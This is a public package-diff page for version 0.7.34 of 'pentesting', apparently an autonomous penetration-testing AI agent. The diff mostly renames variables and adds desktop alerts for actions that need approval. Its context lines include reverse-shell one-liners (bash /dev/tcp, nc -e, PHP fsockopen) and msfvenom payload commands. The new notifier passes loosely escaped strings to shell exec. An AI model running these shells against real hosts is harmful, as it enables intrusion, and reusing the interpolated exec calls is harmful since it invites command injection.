pentesting 0.7.33 → 0.7.34

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/dist/index.js +44 -4
  2. package/package.json +1 -1
package/dist/index.js CHANGED
@@ -1925,7 +1925,7 @@ async function executeMetasploit(input) {
1925
1925
  return executeBash(`msfconsole -q -x "${command}; exit"`, { timeout: 3e5 });
1926
1926
  }
1927
1927
  async function generatePayload(input) {
1928
- const { payload_type, lhost, lport, platform: platform2, format, encoder, output } = input;
1928
+ const { payload_type, lhost, lport, platform: platform3, format, encoder, output } = input;
1929
1929
  const payloads = {
1930
1930
  windows: {
1931
1931
  reverse_tcp: "windows/meterpreter/reverse_tcp",
@@ -1944,7 +1944,7 @@ async function generatePayload(input) {
1944
1944
  reverse_tcp: "python/meterpreter/reverse_tcp"
1945
1945
  }
1946
1946
  };
1947
- const payloadName = payloads[platform2]?.[payload_type] || `${platform2}/meterpreter/reverse_tcp`;
1947
+ const payloadName = payloads[platform3]?.[payload_type] || `${platform3}/meterpreter/reverse_tcp`;
1948
1948
  let cmd = `msfvenom -p ${payloadName} LHOST=${lhost} LPORT=${lport}`;
1949
1949
  if (format) cmd += ` -f ${format}`;
1950
1950
  if (encoder) cmd += ` -e ${encoder}`;
@@ -2276,7 +2276,7 @@ async function executeMysqlClient(input) {
2276
2276
  return executeBash(cmd, { timeout: 6e4 });
2277
2277
  }
2278
2278
  async function executeReverseShell(input) {
2279
- const { type, lhost, lport, platform: platform2, encode } = input;
2279
+ const { type, lhost, lport, platform: platform3, encode } = input;
2280
2280
  const shells = {
2281
2281
  bash: `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`,
2282
2282
  nc: `nc -e /bin/bash ${lhost} ${lport}`,
@@ -2285,7 +2285,7 @@ async function executeReverseShell(input) {
2285
2285
  php: `php -r '$sock=fsockopen("${lhost}",${lport});exec("/bin/bash <&3 >&3 2>&3");'`
2286
2286
  };
2287
2287
  if (type === "msfvenom") {
2288
- const payload = platform2 === "windows" ? "windows/x64/shell_reverse_tcp" : "linux/x64/shell_reverse_tcp";
2288
+ const payload = platform3 === "windows" ? "windows/x64/shell_reverse_tcp" : "linux/x64/shell_reverse_tcp";
2289
2289
  return executeBash(`msfvenom -p ${payload} LHOST=${lhost} LPORT=${lport} -f exe -o /tmp/shell.exe && echo "Payload saved to /tmp/shell.exe"`);
2290
2290
  }
2291
2291
  let shellCmd = shells[type] || shells.bash;
@@ -6128,6 +6128,45 @@ function hasClipboardImage() {
6128
6128
  return false;
6129
6129
  }
6130
6130
 
6131
+ // src/utils/notification.ts
6132
+ import { exec as exec2 } from "child_process";
6133
+ import { platform as platform2 } from "os";
6134
+ function sendNotification(options) {
6135
+ const { title, message, sound = true } = options;
6136
+ const os = platform2();
6137
+ try {
6138
+ if (os === "darwin") {
6139
+ const soundOption = sound ? 'sound name "Ping"' : "";
6140
+ const script = `display notification "${escapeQuotes(message)}" with title "${escapeQuotes(title)}" ${soundOption}`;
6141
+ exec2(`osascript -e '${script}'`);
6142
+ } else if (os === "linux") {
6143
+ exec2(`notify-send "${escapeQuotes(title)}" "${escapeQuotes(message)}"`);
6144
+ } else if (os === "win32") {
6145
+ const ps = `
6146
+ [Windows.UI.Notifications.ToastNotificationManager, Windows.UI.Notifications, ContentType = WindowsRuntime] | Out-Null
6147
+ $Template = [Windows.UI.Notifications.ToastTemplateType]::ToastText02
6148
+ $Xml = [Windows.UI.Notifications.ToastNotificationManager]::GetTemplateContent($Template)
6149
+ $Xml.GetElementsByTagName('text')[0].AppendChild($Xml.CreateTextNode('${escapeQuotes(title)}')) | Out-Null
6150
+ $Xml.GetElementsByTagName('text')[1].AppendChild($Xml.CreateTextNode('${escapeQuotes(message)}')) | Out-Null
6151
+ $Notifier = [Windows.UI.Notifications.ToastNotificationManager]::CreateToastNotifier('Pentesting')
6152
+ $Notifier.Show([Windows.UI.Notifications.ToastNotification]::new($Xml))
6153
+ `;
6154
+ exec2(`powershell -Command "${ps}"`);
6155
+ }
6156
+ } catch {
6157
+ }
6158
+ }
6159
+ function escapeQuotes(str) {
6160
+ return str.replace(/"/g, '\\"').replace(/'/g, "'\\''");
6161
+ }
6162
+ function notifyApprovalNeeded(toolName) {
6163
+ sendNotification({
6164
+ title: "Pentesting - Approval Required",
6165
+ message: `Action requires approval: ${toolName}`,
6166
+ sound: true
6167
+ });
6168
+ }
6169
+
6131
6170
  // src/config/theme.ts
6132
6171
  var THEME = {
6133
6172
  // Backgrounds (dark to light grays)
@@ -6743,6 +6782,7 @@ var App = ({ autoApprove = false, target }) => {
6743
6782
  toolInput: data.toolInput,
6744
6783
  riskLevel: data.riskLevel
6745
6784
  });
6785
+ notifyApprovalNeeded(data.toolName);
6746
6786
  addMessage(MESSAGE_TYPE.SYSTEM, `APPROVAL NEEDED: ${data.toolName} (${data.riskLevel} risk)`);
6747
6787
  const inputPreview = Object.entries(data.toolInput).slice(0, 2).map(([k, v]) => `${k}=${typeof v === "string" ? v.slice(0, 40) : JSON.stringify(v).slice(0, 40)}`).join(", ");
6748
6788
  if (inputPreview) {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "pentesting",
3
- "version": "0.7.33",
3
+ "version": "0.7.34",
4
4
  "description": "Autonomous Penetration Testing AI Agent",
5
5
  "type": "module",
6
6
  "main": "dist/index.js",